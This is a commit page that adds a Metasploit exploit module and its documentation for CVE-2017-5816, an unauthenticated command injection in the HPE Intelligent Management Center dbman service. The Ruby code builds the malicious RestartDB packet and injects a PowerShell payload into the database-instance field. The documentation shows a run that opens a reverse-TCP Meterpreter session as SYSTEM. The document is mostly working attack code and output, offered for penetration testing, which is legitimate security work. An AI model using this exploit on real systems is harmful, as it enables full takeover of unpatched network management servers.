Skip to content

Commit a0c9cdd

Browse files
wchen-r7wchen-r7
committed
Land rapid7#9376, Add HPE iMC dbman RestartDB Unauthenticated RCE exploit
Land rapid7#9376
2 parents cb82015 + 9ec17bd commit a0c9cdd

File tree

2 files changed

+212
-0
lines changed

2 files changed

+212
-0
lines changed

‎documentation/modules/exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Description
2+
3+
This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.
4+
5+
The dbman service allows unauthenticated remote users to restart a user-specified database instance (OpCode 10008), however the instance ID is not sanitized, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.
6+
7+
8+
## Vulnerable Application
9+
10+
[HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.
11+
12+
This module has been tested successfully on:
13+
14+
* iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).
15+
16+
Installer:
17+
18+
* [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)
19+
20+
21+
## Verification Steps
22+
23+
1. Start `msfconsole`
24+
2. Do: `use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce`
25+
3. Do: `set RHOST <IP>`
26+
4. Do: `run`
27+
5. You should get a session
28+
29+
30+
## Scenarios
31+
32+
```
33+
msf > use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
34+
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set rhost 172.16.191.166
35+
rhost => 172.16.191.166
36+
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > check
37+
[*] 172.16.191.166:2810 The target service is running, but could not be validated.
38+
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set verbose true
39+
verbose => true
40+
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > run
41+
42+
[*] Started reverse TCP handler on 172.16.191.181:4444
43+
[*] 172.16.191.166:2810 - Powershell command length: 6091
44+
[*] 172.16.191.166:2810 - Sending payload (6091 bytes)...
45+
[*] Sending stage (179779 bytes) to 172.16.191.166
46+
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.166:55316) at 2018-01-05 03:23:55 -0500
47+
48+
meterpreter > getuid
49+
Server username: NT AUTHORITY\SYSTEM
50+
meterpreter > sysinfo
51+
Computer : WIN-SGBSD5TQUTQ
52+
OS : Windows 7 (Build 7601, Service Pack 1).
53+
Architecture : x64
54+
System Language : en_US
55+
Domain : WORKGROUP
56+
Logged On Users : 3
57+
Meterpreter : x86/windows
58+
```
59+

‎modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb

Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Powershell
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE',
15+
'Description' => %q{
16+
This module exploits a remote command execution vulnerablity in
17+
Hewlett Packard Enterprise Intelligent Management Center before
18+
version 7.3 E0504P04.
19+
20+
The dbman service allows unauthenticated remote users to restart
21+
a user-specified database instance (OpCode 10008), however the
22+
instance ID is not sanitized, allowing execution of arbitrary
23+
operating system commands as SYSTEM. This service listens on
24+
TCP port 2810 by default.
25+
26+
This module has been tested successfully on iMC PLAT v7.2 (E0403)
27+
on Windows 7 SP1 (EN).
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'sztivi', # Discovery
33+
'Chris Lyne', # Python PoC (@lynerc)
34+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
35+
],
36+
'References' =>
37+
[
38+
['CVE', '2017-5816'],
39+
['EDB', '43198'],
40+
['ZDI', '17-340'],
41+
['URL', 'https://www.securityfocus.com/bid/98469/info'],
42+
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
43+
],
44+
'Platform' => 'win',
45+
'Targets' => [['Automatic', {}]],
46+
'Payload' => { 'BadChars' => "\x00" },
47+
'DefaultOptions' => { 'WfsDelay' => 15 },
48+
'Privileged' => true,
49+
'DisclosureDate' => 'May 15 2017',
50+
'DefaultTarget' => 0))
51+
register_options [Opt::RPORT(2810)]
52+
end
53+
54+
def check
55+
# empty RestartDB packet
56+
pkt = [10008].pack('N')
57+
58+
connect
59+
sock.put pkt
60+
res = sock.get_once
61+
disconnect
62+
63+
# Expected reply:
64+
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
65+
return CheckCode::Detected if res =~ /dbman/i
66+
67+
CheckCode::Safe
68+
end
69+
70+
def dbman_msg(db_instance)
71+
data = ''
72+
73+
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
74+
db_type = "\x04" # SQL Server
75+
db_sa_username = rand_text_alpha rand(1..5)
76+
db_sa_password = rand_text_alpha rand(1..5)
77+
ora_db_ins = rand_text_alpha rand(1..5)
78+
79+
# dbIp
80+
data << "\x04"
81+
data << [db_ip.length].pack('C')
82+
data << db_ip
83+
84+
# iDBType
85+
data << "\x02"
86+
data << [db_type.length].pack('C')
87+
data << db_type
88+
89+
# dbInstance
90+
data << "\x04"
91+
data << "\x82"
92+
data << [db_instance.length].pack('n')
93+
data << db_instance
94+
95+
# dbSaUserName
96+
data << "\x04"
97+
data << [db_sa_username.length].pack('C')
98+
data << db_sa_username
99+
100+
# dbSaPassword
101+
data << "\x04"
102+
data << [db_sa_password.length].pack('C')
103+
data << db_sa_password
104+
105+
# strOraDbIns
106+
data << "\x04"
107+
data << [ora_db_ins.length].pack('C')
108+
data << ora_db_ins
109+
110+
data
111+
end
112+
113+
def dbman_restartdb_pkt(db_instance)
114+
data = dbman_msg db_instance
115+
116+
# opcode 10008 (RestartDB)
117+
pkt = [10008].pack('N')
118+
119+
# packet length
120+
pkt << "\x00\x00"
121+
pkt << [data.length + 4].pack('n')
122+
123+
# packet data length
124+
pkt << "\x30\x82"
125+
pkt << [data.length].pack('n')
126+
127+
# packet data
128+
pkt << data
129+
130+
pkt
131+
end
132+
133+
def execute_command(cmd, _opts = {})
134+
connect
135+
sock.put dbman_restartdb_pkt "\"& #{cmd} &"
136+
disconnect
137+
end
138+
139+
def exploit
140+
command = cmd_psh_payload(
141+
payload.encoded,
142+
payload_instance.arch.first,
143+
{ :remove_comspec => true, :encode_final_payload => true }
144+
)
145+
146+
if command.length > 8000
147+
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
148+
end
149+
150+
print_status "Sending payload (#{command.length} bytes)..."
151+
execute_command command
152+
end
153+
end

0 commit comments

Comments
 (0)